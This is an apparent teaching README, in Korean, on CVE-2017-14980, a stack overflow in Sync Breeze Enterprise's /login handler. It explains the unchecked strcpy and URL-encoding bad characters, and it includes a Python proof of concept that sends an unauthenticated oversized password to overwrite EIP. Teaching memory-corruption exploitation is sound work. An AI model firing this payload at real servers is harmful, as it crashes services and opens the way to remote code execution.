
Sync Breeze Enterprise 10.0.28의 /login 핸들러를 통해 접근 가능한 스택 기반 버퍼 오버플로우로, 확인되지 않은 입력 길이가 스택 메모리를 손상시킬 수 있는 방법을 보여줍니다.
/login 핸들러를 통해 접근 가능한 Sync Breeze Enterprise 10.0.28의 스택 기반 버퍼 오버플로우입니다. 입력 길이 검사가 없을 경우 스택 메모리가 어떻게 손상될 수 있는지 보여줍니다.
이 저장소는 제가 메모리 손상 익스플로잇을 가르칠 때 사용하는 자료의 일부입니다 (정규 업무 외에도 여러 사이버보안 강좌에서 차세대 리버스 엔지니어를 양성하는 데 기여하고 있습니다).
CVE-2017-14980은 학생들이 원시 TCP 프로토콜 대신 HTTP를 통해 바닐라 EIP 덮어쓰기를 경험하게 하고자 할 때 사용하는 사례입니다. 처음에는 간단해 보입니다. 로그인 폼, 긴 비밀번호, 크래시. 하지만 HTTP 컨텍스트는 즉시 명확하지 않은 여러 악성 문자(bad character)를 도입하며, 학생들은 데이터가 취약한 버퍼에 도달하기 전에 어떻게 처리되는지 생각해야 합니다. %, &, +, =가 여기서 왜 악성 문자인지 이해하려면 URL 인코딩에 대한 이해가 필요하며, 이는 그 자체로 유용한 교훈입니다.
Sync Breeze Enterprise는 웹 관리 인터페이스를 제공하는 Windows 파일 동기화 애플리케이션입니다. 취약점은 로그인 핸들러에 있으며, 비밀번호 필드를 길이 검증 없이 고정 크기 스택 버퍼에 복사합니다. 이 사례가 교육에 유용한 이유는 다음과 같습니다.
Sync Breeze Enterprise는 원격 관리를 위한 내장 웹 서버를 포함하는 Windows 파일 동기화 도구입니다. 웹 인터페이스는 활성화 시 TCP 포트 80에서 수신 대기하며 /login에 로그인 폼을 노출합니다. 취약점은 비밀번호 필드를 처리하는 POST 핸들러에 있습니다.
주요 기술 세부 사항:
Sync Breeze는 POST 본문을 읽고 password 필드를 추출하여 로그인 폼을 처리합니다. 값을 길이 확인 없이 고정 크기 스택 버퍼에 복사합니다. 취약한 로직의 단순화된 버전은 다음과 같습니다.
char password_buffer[256];
strcpy(password_buffer, password_field);
POST 본문은 복사가 이루어지기 전에 URL 디코딩되므로 %25와 같은 문자가 버퍼에 도달하기 전에 %로 디코딩됩니다. 이것이 특정 URL 특수 문자가 악성 문자로 작용하는 이유이기도 합니다. HTTP 계층이 취약한 복사 작업에 도달하기 전에 데이터를 해석하기 때문입니다. 충분히 긴 비밀번호 값을 전송하면 복사가 버퍼 끝을 넘어 저장된 반환 주소를 덮어씁니다. 함수가 반환될 때 CPU는 스택에서 공격자가 제어하는 값을 EIP로 로드하고 해당 주소로 점프합니다.
크래시는 /login에 대한 POST 요청에서 과도하게 긴 비밀번호를 전송하여 재현할 수 있습니다. 인증이 필요하지 않습니다. Python 예제:
import socket
HOST = '127.0.0.1'
PORT = 80
payload = b"A" * 600
body = b"username=admin&password=" + payload
request = (
b"POST /login HTTP/1.1\r\n"
b"Host: 127.0.0.1\r\n"
b"Content-Type: application/x-www-form-urlencoded\r\n"
b"Content-Length: " + str(len(body)).encode() + b"\r\n"
b"Connection: close\r\n"
b"\r\n" +
body
)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(request)
s.close()
디버거에서 실행하면 크래시 시 EIP가 사용자 제어 데이터로 덮어쓰여진 것을 확인할 수 있습니다.
EIP = 41414141
이는 저장된 반환 주소가 오버플로우로 인해 손상되었음을 확인해줍니다.
이 저장소의 목표는 단순히 크래시를 보여주는 것이 아니라, 퍼징부터 작동하는 리버스 셸까지 전체 익스플로잇 과정을 단계별로 설명하는 것입니다.
메인 README를 깔끔하게 유지하기 위해 상세한 익스플로잇 노트, 스크립트 및 디버거 단계는 이 저장소의 Vulnerability 📂 폴더 안에 배치했습니다.
해당 폴더에서는 이 CVE를 익스플로잇하는 데 사용된 전체 워크플로우를 확인할 수 있습니다. 여기에는 다음이 포함됩니다.